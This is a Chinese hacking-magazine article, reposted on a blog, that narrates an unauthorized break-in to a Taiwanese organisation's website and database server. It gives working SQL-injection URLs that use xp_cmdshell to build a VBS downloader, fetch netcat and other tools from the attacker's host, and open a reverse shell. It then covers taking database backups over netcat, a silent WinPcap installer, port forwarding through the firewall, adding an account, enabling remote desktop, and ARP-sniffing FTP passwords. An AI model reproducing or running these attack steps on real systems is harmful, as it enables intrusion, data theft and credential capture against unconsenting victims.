|
来自链接:http://spaces.msn.com/members/bkitty-1/Blog/cns!1pqaY249QxPQydEBZxG3RSIw!412.entry
作者: 网络咖啡
来 源: 《黑客防线》
久没有入侵了,手有点痒,随便逛了几个TW的网站想找一个有点的价值的网站玩玩,于是找到了这个网站。
习惯性的,在“报名账号”处填入了一个单引号,返回了如下信息:
SQL Server 的 Microsoft OLE DB 提供者 (0x80040E14)
遗漏字符字符串 ''' 前面的引号。
/rdshow/modify.asp, line 5
看来是存在注入漏洞的,来看看权限如何。继续在登陆口输入’ and user>0 and ‘’=’,问题出现了:无法完整输入。看来网页对输入长度做了限制,这个难不到我。保存网页,将网页的源代码更改两个地方,一处是Action=modify.asp改为Action=http://www.xxx.org.tw/rdshow/modify.asp,还有一处就是把输入字符的长度改大,也就是maxlength=10改为100,这下可以不受限制的随便输入了。将刚才的代码完整输入后得到以下信息:
SQL Server 的 Microsoft OLE DB 提供者 (0x80040E07)
将 nvarchar 数值 'dbo' 转换成数据型别为 int 的数据行语法错误。
/rdshow/modify.asp, line 5
看来有戏,但是这样注入太麻烦了。再看看网页的源代码,如果将这个注入漏洞转化成URL的形式,这样注入就方便多了。同时转化后还有一个很好的优点,就是可以使用NBSI之类的注入工具,大大简化了我们的注入过程。转化后的URL为http://www.xxx.org.tw/rdshow/ modify.asp?bidno=fuck。现在WEB和SQL的主机分开的情况很多,首先我们还是先看看数据库的IP地址吧。打开天网,然后在IE提交:
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck’;exec master.dbo.xp_shell’ ping myip’;--
从天网的报警日志看出数据库的IP地址为210.208.xxx.253,再Ping www.xxx.org.tw,得到的IP地址却为210.208.xxx.32,看来数据库和WEB服务器不是同一台主机,但是从IP分布来看,这两台主机处于同一个网段,理论上只要我们能攻占下数据库主机,要渗透到WEB服务器也不是难事(后来证明确实如此)。到了这一步,还是先用Superscan扫描一下数据库主机开了些什么端口吧。
小提示:先对数据库服务器扫描的好处有很多,比如可以探测对方是否开了防火墙,是否有FTP或者WEB服务,这样才能确定下一步该怎么注入。
扫描的结果是数据库有防火墙,我的想法是先上传一个NC上去,先得到一个反向的Shell再说。我尝试了很多方法才传上去,先用Tftp没有成功,FTP也没有成功。如果数据库有WEB服务的话还可以写入一个WebShell,可惜没有。没有办法,只好写Iget.vbs(脚本小子:广告时间!黑防上个月开放的下载系统中有下载,地址是www.hacker.com.cn/downweb/index.asp,里面还有一些小东西也挺不错,欢迎大家下载使用,并推荐你觉得功能上有特点的程序),然后让对方下载我WEB服务器上的NC。好,决定后就这样做,继续在IE提交:
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo iLocal = LCase(WScript.Arguments(1)) > c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo iRemote = LCase(WScript.Arguments(0)) >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo Set xPost = CreateObject("Microsoft.XMLHTTP") >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo xPost.Open "GET",iRemote,0 >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo xPost.Send() >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo Set sGet = CreateObject("ADODB.Stream") >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo sGet.Mode = 3 >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo sGet.Type = 1 >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo sGet.Open() >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo sGet.Write(xPost.responseBody) >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo sGet.SaveToFile iLocal,2 >>c:\winnt\system\p.vbs';--
现在把NBSI2请出来,用其自带的NB command命令执行器查看VBS是否写入成功(用NB TreeList目录列表工具也可以,不过要等半天才能等到结果,我的性子急,所以选择了前者)。
可以看出VBS生成成功了,现在我们可以用这个VBS去下载后门木马之类的东西了。话不多说先把Tlist,NC,Kill传上去再说,继续在IE提交如下URL:
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell 'c:\winnt\system\p.vbs http://myip/nc.exe nc.exe';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell 'c:\winnt\system\p.vbs http://myip/kill.exe kill.exe';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell 'c:\winnt\system\p.vbs http://myip/tlist.exe tlist.exe';--
现在我们可以利用上传的NC得到一个反向的Shell了,先在本机用NC监听8000端口:
Nc.exe –l –v –p 8000
然后在IE输入:
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell 'c:\winnt\system\nc.exe –e cmd.exe myip 8000 ';--
这样我们就获得了一个CmdShell了。
为什么我要上传Tlist呢?因为我想知道对方用的是什么杀毒软件,这样我们才能做到有的放矢,不至于我们上传的东东全部被查杀。上传Tlist还有一个原因就是刚刚开始我在绕过对方的防火墙时调用了FTP,为了不让对方怀疑,我必须把它Kill掉,所以也得上传Tlist来看看PID号。Tlist的结果是对方用的诺顿。
小提示:获取对方系统的杀毒软件对后面的入侵是很有帮助的,因为不同的杀毒软件对不同的黑软定义的特征码是不一样的,也就是说某些黑软不被金山查杀,不代表可以瞒过诺顿,反之一样。
晕了,我菜,只会找瑞星的特征码,诺顿的找不出来,想传几个反弹木马上去的想法放弃了。上去溜了一圈发现D盘下面有不少数据库的备份,我喜欢,先Down下来再说。但新的问题又来了,Tftp和TTP不能用,对方又有硬件防火墙,而Iget.vbs又只能下载,没有办法上传东西,反弹木马可以实现上传但对方又有杀毒软件……现在我的思路开始陷入困境,正在我一筹莫展的时候我想到了饭哥,他应该有点好东东可以解决我的这个问题吧?把大概情况给他说了之后,他仰天大笑三声之后给了我一个他自己写的小工具:HttpPut,这个工具可以将对方的文件传到自己的电脑上来,简单方便。使用方法为:
Useag:E:\HttpPut.exe [URL] [PutFilePath]
Sample:E:\HttpPut.exe http://hostname/images/ c:\p.txt
先传了几个Word文件,一切正常,但是当我传到后面较大的数据库文件时却发现不太稳定,Shell很容易挂掉,尝试了很多次都这样(汗,这时进程里面多了X个Cmd.exe,幸好我上传了Tlist和Kill,把那些挂了的CMD一个一个地Kill掉)。
又一次陷入了困境,我本来想再去各大黑客网站找最新的反弹木马,但是老天偏偏和我作对,找了半天都找不到一个满意的。就在我快绝望的时候我的眼前突然一亮:NC不就可以突破防火墙传文件吗?不然怎么叫瑞士军刀?看来我是骑驴找驴了。在NC的高级应用里面就有传文件的方法,具体命令如下:
nc -vv -l -p port > pathfile
nc -d myip port < pathfile
第一条命令是在本机输入,这里要注意的是新开的端口不能被占用,第2条命令在肉鸡执行,大家可以看看我执行的结果。
文件正常传输了,而且相当稳定,看来NC确实不错。数据库顺利下载完毕,但我们的任务还没有完成,虽然是“简单任务”但也不能太简单了啊!我们还要入侵WEB服务器。
以前见过不少的文章,写到这种情况大概就是说上传一个ArpSniffer进行嗅探就草草结束,其实问题没有那么简单,要使用Arpsniffer,必须安装WinPcap,问题是WinPcap是图形界面下的程序,要命令行安装确实要费点周折,很多菜鸟也头疼在这里。我还是简单为大家介绍一下怎么在命令行下安装Winpcap吧,具体的方法如下:
以WinPcap 3.0a为例,通过比较安装前后的文件系统和注册表快照,很容易了解整个安装过程。除去卸载的部分,关键的文件有三个:Wpcap.dll,Packet.dll和Npf.sys。前面两个文件位于System32目录下,第三个在System32\drivers下,而注册表的变化是增加了一个系统服务NPF。注意,是系统服务(即驱动)不是Win32服务。
作为系统服务,不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主键,而且也要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下增加主键,而后者默认只有SYSTEM身份才可以修改。幸运的是并不需要手动添加它,Winpcap被调用时会自动搞定,甚至完全不用手动修改注册表,所有的事Winpcap都会自己完成,只需要将三个文件复制到合适的位置就行了。
作为范例,还是演示一下如何修改注册表,其实利用Inf文件就可以实现,将下面这些内容保存为_wpcap_.inf文件:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=NPF,,winpcap_svr
[winpcap_svr]
DisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
ErrorControl=1
ServiceBinary=%12%\npf.sys
再写一个批处理_wpcap_.bat:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%\system32\
copy wpcap.dll %SYSTEMROOT%\system32\
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
del npf.sys
:END
del %0
然后用Winrar将所有文件(5个)打包为自解压的exe,并将“高级自解压选项”->“解压后运行”设置为_wpcap_.bat,命令行的Winpcap安装包就制作完成了。
以上方法只是给大家参考,此时我已经有了另外的更加简单方便的思路,就是给数据库的主机开终端服务,这样无论是传东西还是继续向内网的渗透都会方便很多。大家也许会问即使你有权限添加账号能开终端服务,但是对方有防火墙你怎么连接啊。呵呵,这个问题其实很好解决,相信大家都知道VIDC类软件吧,这类软件的作用就是将内网的端口映射到公网的IP端口上来,这样我们只需要连接公网的IP就可以连接到内网去了。在这里我用的是yyc写的VIDC软件的修改版,
小知识:yyc写的VIDC软件的修改版分客户端和服务器端,服务器端Idc.exe在具有公网IP的肉鸡上运行,使用默认8080端口通信。
直接在肉鸡运行就OK了,客户端vIDCc.exe、vIDCc.DLL,xl.ini文件,按INI文件里的配置自动连接绑定端口,INI的内容如下:
Serverip=公网IP
Serverport=8080
Cip=127.0.0.1
Bport=21|80|3389
Yport=7779|7776|7778
先还是用Iget.vbs将这些东西传上去,然后在CmdShell里面添加一个账号,然后写一个BAT开启3389,等电脑重启之后再上去运行vIDCc.exe。OK大功告成,我们只要登陆肉鸡的7778端口就可以访问内网数据了。
呵呵,现在我们可以在图形界面下安装Winpcap了,我们已经完全控制了数据库,但是任务还没有完,我们先看看能不能嗅探到WEB服务器的信息。先执行下面的命令:
tracert 210.208.xxx.32(WEB服务器的地址)
看看返回结果看来有戏,三下五除二装好Winpcap,然后开始ArpSniffer,嗅探的命令为:
Usage: ArpSniffer <IP1> <IP2> <Sniffer TCP Port> <LogFile> <NetAdp> [/RESET]
在这里我监听的是21端口,命令如下:
Arpsniffer 210.208.xxx.1 210.208.xxx.32 21 c:\winnt\system\pass.txt 1
接下来就是等待了,不过臭要饭的急着催文章,所以文章截至时还没有结果,如果大家有兴趣的话,下期我再告诉大家。这次简单任务也该结束了,下期见! |
|